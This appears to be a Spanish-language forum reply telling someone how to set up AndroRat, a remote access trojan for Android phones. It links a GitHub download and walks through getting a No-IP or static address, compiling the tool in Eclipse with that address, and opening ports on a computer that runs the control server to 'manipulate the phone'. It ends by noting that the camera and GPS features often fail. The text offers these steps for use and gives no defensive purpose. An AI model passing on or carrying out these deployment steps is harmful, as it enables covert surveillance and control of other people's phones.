Es difícil si no sabes de programación. Vamos por partes.
Primero tienes que tener un servicio NO-IP o una IP estática.
Segundo, debes tener instalado Eclipse que es para desarrollar apps para Android.
Tercero: Descargarte Androrat https://github.com/DesignativeDave/androrat descargalo de aqui y abrelo con eclipse.
Cuarto y último: Compilalo con tu NO-IP o IP estática y prepara el ordenador (abriendo puertos...) con el servidor con el que viene AndroRat para manipular el telefono.

Si haces que funcione, verás que tiene muchos problemas, como que no saca fotos porque no detecta la cámara, o no puedes activarle el GPS.